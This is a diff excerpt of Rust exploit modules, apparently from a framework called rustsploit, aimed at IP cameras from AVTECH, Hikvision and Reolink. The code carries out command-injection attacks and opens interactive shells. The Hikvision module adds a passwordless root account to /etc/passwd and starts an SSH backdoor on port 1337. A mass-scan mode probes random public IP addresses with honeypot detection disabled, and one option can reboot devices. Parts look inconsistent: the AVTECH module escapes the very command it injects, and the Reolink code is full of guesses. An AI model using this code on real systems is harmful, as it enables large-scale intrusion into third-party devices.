println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
|
||||
loop {
|
||||
print!("{}", "cve7029-shell> ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
if stdin.read_line(&mut line).is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
let cmd = line.trim().to_string();
|
||||
line.clear();
|
||||
|
||||
{
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match exec_cmd(client, base, &cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Execute a remote command by abusing the brightness parameter
|
||||
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
// Escape command to prevent injection of additional shell commands
|
||||
let escaped_cmd = escape_shell_command(cmd);
|
||||
let payload = format!("1;{};", escaped_cmd);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
let response = client.get(url).send().await?;
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Quick vulnerability check for mass scanning
|
||||
async fn quick_check(client: &Client, ip: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let url = format!("http://{}/cgi-bin/supervisor/Factory.cgi?action=Set&brightness=1;echo_CVE7029;", host);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => {
|
||||
if let Ok(body) = resp.text().await {
|
||||
body.contains("echo_CVE7029")
|
||||
} else {
|
||||
false
|
||||
}
|
||||
},
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
std::io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let port = prompt_port("Enter port to use", 80)?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
|
||||
println!();
|
||||
|
||||
for raw_ip in &targets {
|
||||
let scheme = if raw_ip.starts_with("https://") { "https" } else { "http" };
|
||||
let normalized = normalize_target(raw_ip)?;
|
||||
|
||||
let url = if normalized.contains("]:") || (normalized.contains(':') && !normalized.starts_with('[')) {
|
||||
format!("{}://{}", scheme, normalized)
|
||||
} else {
|
||||
format!("{}://{}:{}", scheme, normalized, port)
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing: {}", url).yellow());
|
||||
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("{}", format!("[-] {} is not vulnerable", url).red());
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
println!("{}", "[*] Scan complete.".cyan());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod cve_2024_7029_avtech_camera;
|
||||
@@ -0,0 +1,518 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use chrono::Local;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MAX_CMD_LENGTH: usize = 22;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ScanMode {
|
||||
SafeCheck,
|
||||
UnsafeReboot,
|
||||
CustomCommand,
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ Hikvision Web Server CVE-2021-36260 ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ Unauthenticated Command Injection (Build 210702) ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ PoC by bashis - Ported to Rust for rustsploit ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// Normalize target URL
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
|
||||
("http://", s)
|
||||
} else if let Some(s) = raw.strip_prefix("https://") {
|
||||
("https://", s)
|
||||
} else {
|
||||
("http://", raw)
|
||||
};
|
||||
|
||||
let (auth, path) = match after.find('/') {
|
||||
Some(i) => (&after[..i], &after[i..]),
|
||||
None => (after, ""),
|
||||
};
|
||||
|
||||
let (host_part, port_part) = if auth.starts_with('[') {
|
||||
if let Some(pos) = auth.rfind(']') {
|
||||
(&auth[..=pos], &auth[pos + 1..])
|
||||
} else {
|
||||
(auth, "")
|
||||
}
|
||||
} else if auth.matches(':').count() > 1 {
|
||||
(auth, "") // IPv6 without brackets
|
||||
} else if let Some(pos) = auth.rfind(':') {
|
||||
(&auth[..pos], &auth[pos..])
|
||||
} else {
|
||||
(auth, "")
|
||||
};
|
||||
|
||||
let mut inner = host_part;
|
||||
while inner.starts_with('[') && inner.ends_with(']') {
|
||||
inner = &inner[1..inner.len() - 1];
|
||||
}
|
||||
|
||||
let wrapped = if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner.to_string()
|
||||
};
|
||||
|
||||
format!("{}{}{}{}", scheme, wrapped, port_part, path)
|
||||
}
|
||||
|
||||
/// HTTP client wrapper for Hikvision exploitation
|
||||
struct HikvisionClient {
|
||||
client: Client,
|
||||
base_url: String,
|
||||
}
|
||||
|
||||
impl HikvisionClient {
|
||||
fn new(target: &str, proto: &str, timeout: u64) -> Result<Self> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(timeout))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let base_url = format!("{}://{}", proto, target);
|
||||
let base_url = normalize_target(&base_url);
|
||||
|
||||
Ok(Self { client, base_url })
|
||||
}
|
||||
|
||||
/// Send PUT request with command injection payload
|
||||
async fn send_payload(&self, command: &str, timeout: u64) -> Result<reqwest::Response> {
|
||||
if command.len() > MAX_CMD_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Command '{}' is too long ({} chars, max {})",
|
||||
command,
|
||||
command.len(),
|
||||
MAX_CMD_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
let payload = format!(
|
||||
"<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>$({})</language>",
|
||||
command
|
||||
);
|
||||
|
||||
self.client
|
||||
.put(format!("{}/SDK/webLanguage", self.base_url))
|
||||
.header("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
|
||||
.header("X-Requested-With", "XMLHttpRequest")
|
||||
.body(payload)
|
||||
.timeout(Duration::from_secs(timeout))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send payload")
|
||||
}
|
||||
|
||||
/// Send GET request
|
||||
async fn get(&self, path: &str, timeout: u64) -> Result<reqwest::Response> {
|
||||
self.client
|
||||
.get(format!("{}{}", self.base_url, path))
|
||||
.timeout(Duration::from_secs(timeout))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send GET request")
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_vulnerable(client: &HikvisionClient, noverify: bool) -> Result<bool> {
|
||||
if noverify {
|
||||
return Ok(true);
|
||||
}
|
||||
// First check if we can connect
|
||||
match client.get("/", 5).await {
|
||||
Ok(_) => {},
|
||||
Err(_) => return Ok(false),
|
||||
}
|
||||
|
||||
// Try to write a test file
|
||||
match client.send_payload(">webLib/c", 5).await {
|
||||
Ok(resp) => {
|
||||
if resp.status().as_u16() == 404 { return Ok(false); }
|
||||
// Try to read the file we created
|
||||
match client.get("/c", 5).await {
|
||||
Ok(read_resp) => {
|
||||
if read_resp.status().as_u16() == 200 { return Ok(true); }
|
||||
Ok(false)
|
||||
}
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_with_reboot(client: &HikvisionClient) -> Result<bool> {
|
||||
let _ = client.send_payload("reboot", 5).await;
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
match client.get("/", 5).await {
|
||||
Ok(_) => Ok(false), // Still responding
|
||||
Err(_) => Ok(true), // Device went down/rebooted
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_cmd(client: &HikvisionClient, command: &str) -> Result<String> {
|
||||
let write_cmd = format!("{}>webLib/x", command);
|
||||
if write_cmd.len() > MAX_CMD_LENGTH {
|
||||
return Err(anyhow!("Command too long"));
|
||||
}
|
||||
client.send_payload(&write_cmd, 10).await?;
|
||||
let resp = client.get("/x", 10).await?;
|
||||
if resp.status().as_u16() != 200 {
|
||||
return Err(anyhow!("Failed to retrieve command output"));
|
||||
}
|
||||
match resp.text().await {
|
||||
Ok(text) => Ok(text),
|
||||
Err(e) => Err(anyhow!("Failed to read command output: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_blind_cmd(client: &HikvisionClient, command: &str) -> Result<()> {
|
||||
match client.send_payload(command, 10).await {
|
||||
Ok(resp) => {
|
||||
if resp.status().as_u16() == 500 { Ok(()) } else { Err(anyhow!("Unexpected code")) }
|
||||
}
|
||||
Err(e) => Err(anyhow!("Failed: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn interactive_shell(client: &HikvisionClient) -> Result<()> {
|
||||
println!("{}", "[*] Preparing shell access...".cyan());
|
||||
match client.get("/N", 5).await {
|
||||
Ok(resp) => {
|
||||
if resp.status().as_u16() == 404 {
|
||||
client.send_payload("echo -n P::0:0:W>N", 10).await?;
|
||||
client.send_payload("echo :/:/bin/sh>>N", 10).await?;
|
||||
client.send_payload("cat N>>/etc/passwd", 10).await?;
|
||||
client.send_payload("dropbear -R -B -p 1337", 10).await?;
|
||||
client.send_payload("cat N>webLib/N", 10).await?;
|
||||
println!("{}", "[+] Dropbear SSH started on port 1337".green());
|
||||
}
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Failed to check shell status")),
|
||||
}
|
||||
println!("{}", "[*] SSH connection ready".cyan());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn interactive_mode(client: &HikvisionClient) -> Result<()> {
|
||||
println!("{}", "\n[*] Entering interactive command mode".cyan());
|
||||
loop {
|
||||
print!("{}", "hikvision> ".green().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let cmd = input.trim();
|
||||
if cmd.is_empty() { continue; }
|
||||
if cmd == "exit" || cmd == "quit" { break; }
|
||||
match execute_cmd(client, cmd).await {
|
||||
Ok(output) => println!("{}", output),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning
|
||||
async fn quick_check(ip: &str, mode: ScanMode, custom_payload: &str) -> bool {
|
||||
let host_port = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
if let Ok(client) = HikvisionClient::new(&host_port, "http", 5) {
|
||||
match mode {
|
||||
ScanMode::SafeCheck => {
|
||||
check_vulnerable(&client, false).await.unwrap_or(false)
|
||||
},
|
||||
ScanMode::UnsafeReboot => {
|
||||
check_with_reboot(&client).await.unwrap_or(false)
|
||||
},
|
||||
ScanMode::CustomCommand => {
|
||||
// Just execute validation blind command
|
||||
match client.send_payload(custom_payload, 5).await {
|
||||
Ok(resp) => resp.status().as_u16() == 200 || resp.status().as_u16() == 500,
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut outfile = String::new();
|
||||
io::stdin().read_line(&mut outfile)?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "hikvision_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
|
||||
// Prompt for Payload Mode
|
||||
println!("{}", "[?] Select Payload Mode:".cyan());
|
||||
println!(" 1. Safe Check (File Write/Read)");
|
||||
println!(" 2. Unsafe Check (Reboot Device)");
|
||||
println!(" 3. Custom Command");
|
||||
print!("{}", "Select option [1-3] (default 1): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut mode_str = String::new();
|
||||
io::stdin().read_line(&mut mode_str)?;
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::UnsafeReboot,
|
||||
"3" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::SafeCheck,
|
||||
};
|
||||
|
||||
let mut custom_payload = String::new();
|
||||
if let ScanMode::CustomCommand = mode {
|
||||
print!("{}", "[?] Enter Custom Command (max 22 chars): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut custom_payload)?;
|
||||
custom_payload = custom_payload.trim().to_string();
|
||||
}
|
||||
let custom_payload = Arc::new(custom_payload);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Result writer channel
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
|
||||
// Writer task
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
if let Err(e) = file.write_all(result.as_bytes()).await {
|
||||
eprintln!("[-] Failed to write result: {}", e);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cp = custom_payload.clone();
|
||||
let current_mode = mode; // Copy
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&ip_str, current_mode, &cp).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
let log_entry = format!("{} - {}\n", ip_str, timestamp);
|
||||
let _ = tx.send(log_entry);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Parse target to extract host:port and protocol
|
||||
let (proto, host_port) = if target.starts_with("https://") {
|
||||
("https", target.strip_prefix("https://").unwrap_or(target))
|
||||
} else if target.starts_with("http://") {
|
||||
("http", target.strip_prefix("http://").unwrap_or(target))
|
||||
} else {
|
||||
("http", target)
|
||||
};
|
||||
|
||||
let host_port = host_port.split('/').next().unwrap_or(host_port);
|
||||
|
||||
println!("{}", "[*] Select operation mode:".cyan());
|
||||
println!(" {} Check if vulnerable (safe)", "1.".bold());
|
||||
println!(" {} Check with reboot (unsafe)", "2.".bold());
|
||||
println!(" {} Execute single command", "3.".bold());
|
||||
println!(" {} Execute blind command", "4.".bold());
|
||||
println!(" {} Interactive shell mode", "5.".bold());
|
||||
println!(" {} Setup SSH shell (dropbear)", "6.".bold());
|
||||
println!();
|
||||
|
||||
print!("{}", "Select option [1-6]: ".green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
let choice = choice.trim();
|
||||
|
||||
let client = HikvisionClient::new(host_port, proto, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
match choice {
|
||||
"1" => { check_vulnerable(&client, false).await?; }
|
||||
"2" => {
|
||||
println!();
|
||||
print!("{}", "[!] This will reboot the device. Continue? [y/N]: ".red());
|
||||
io::stdout().flush()?;
|
||||
let mut confirm = String::new();
|
||||
io::stdin().read_line(&mut confirm)?;
|
||||
if confirm.trim().eq_ignore_ascii_case("y") {
|
||||
check_with_reboot(&client).await?;
|
||||
} else {
|
||||
println!("{}", "[*] Aborted".yellow());
|
||||
}
|
||||
}
|
||||
"3" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
println!();
|
||||
print!("{}", "Enter command to execute: ".green());
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
let cmd = cmd.trim();
|
||||
if !cmd.is_empty() {
|
||||
match execute_cmd(&client, cmd).await {
|
||||
Ok(output) => {
|
||||
println!("{}", "\n[+] Command output:".green());
|
||||
println!("{}", output);
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
}
|
||||
"4" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
println!();
|
||||
print!("{}", "Enter blind command to execute: ".green());
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
let cmd = cmd.trim();
|
||||
if !cmd.is_empty() { execute_blind_cmd(&client, cmd).await?; }
|
||||
}
|
||||
"5" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
interactive_mode(&client).await?;
|
||||
}
|
||||
"6" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
interactive_shell(&client).await?;
|
||||
}
|
||||
_ => println!("{}", "[-] Invalid option".red()),
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Exploitation complete".cyan());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod hikvision_rce_cve_2021_36260;
|
||||
@@ -0,0 +1,6 @@
|
||||
pub mod hikvision;
|
||||
pub mod reolink;
|
||||
pub mod uniview;
|
||||
pub mod avtech;
|
||||
pub mod abus;
|
||||
pub mod acti;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod reolink_rce_cve_2019_11001;
|
||||
@@ -0,0 +1,98 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
use urlencoding::encode;
|
||||
|
||||
/// Reolink Camera Authenticated Command Injection (CVE-2019-11001)
|
||||
///
|
||||
/// Exploits an authenticated OS command injection in the `TestEmail` functionality.
|
||||
/// Affected Models: RLC-410W, C1 Pro, C2 Pro, RLC-422W, RLC-511W (Firmware <= 1.0.227).
|
||||
///
|
||||
/// Parameter: `addr1` in `TestEmail` command.
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
let target_ip = normalize_target(&raw_ip)?;
|
||||
|
||||
// Default HTTP/HTTPS?
|
||||
// Usually HTTP port 80 or HTTPS 443. We will default to HTTP but can try HTTPS if needed.
|
||||
// Let's assume HTTP validation (can be simple URL).
|
||||
|
||||
let base_url = if target_ip.contains("://") {
|
||||
target_ip.clone()
|
||||
} else {
|
||||
format!("http://{}", target_ip)
|
||||
};
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// Credentials required
|
||||
let username = prompt_default("Username", "admin")?;
|
||||
let password = prompt_required("Password")?;
|
||||
let cmd = prompt_default("Command to execute", "id")?;
|
||||
|
||||
println!("{} Sending exploit...", "[*]".blue());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(15))
|
||||
.build()?;
|
||||
|
||||
// Construct payload
|
||||
// Command Injection style: test@test.com; <CMD>
|
||||
let injection = format!("test@test.com; {}", cmd);
|
||||
|
||||
// The API requires specific structure. Based on PoC analysis.
|
||||
// Usually sent as GET or POST. The PoC uses a GET with JSON-like structure in URL or POST body?
|
||||
// Public docs say: /api.cgi?cmd=TestEmail...
|
||||
// But Reolink API often takes a JSON body.
|
||||
|
||||
// Let's model after the known exploit path:
|
||||
// Some versions accept it in the JSON body of a POST to /api.cgi
|
||||
|
||||
let url = format!("{}/api.cgi?cmd=TestEmail&user={}&password={}", base_url.trim_end_matches('/'), encode(&username), encode(&password));
|
||||
|
||||
// The body usually is a JSON array
|
||||
let body = format!("[{{ \"cmd\": \"TestEmail\", \"action\": 0, \"param\": {{ \"addr1\": \"{}\", \"addr2\": \"test\", \"addr3\": \"test\", \"interval\": 60 }} }}]", injection);
|
||||
|
||||
// Some variants use GET but typically these APIs are POST with JSON.
|
||||
// We will try POST.
|
||||
|
||||
let res = client.post(&url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send request")?;
|
||||
|
||||
let status = res.status();
|
||||
let text = res.text().await?;
|
||||
|
||||
// If successful, the command output might not be returned (Blind RCE).
|
||||
// Or it might be returned in the 'value' or error message?
|
||||
// Usually TestEmail triggers the mail binary.
|
||||
|
||||
if status.is_success() {
|
||||
println!("{} Request sent successfully (HTTP {}).", "[+]".green(), status);
|
||||
println!("{} Response: {}", "[*]".blue(), text);
|
||||
println!("{} Note: This RCE is often blind. Check your listener or device behavior.", "[*]".yellow());
|
||||
} else {
|
||||
println!("{} Request failed (HTTP {}). check credentials or target.", "[-]".red(), status);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
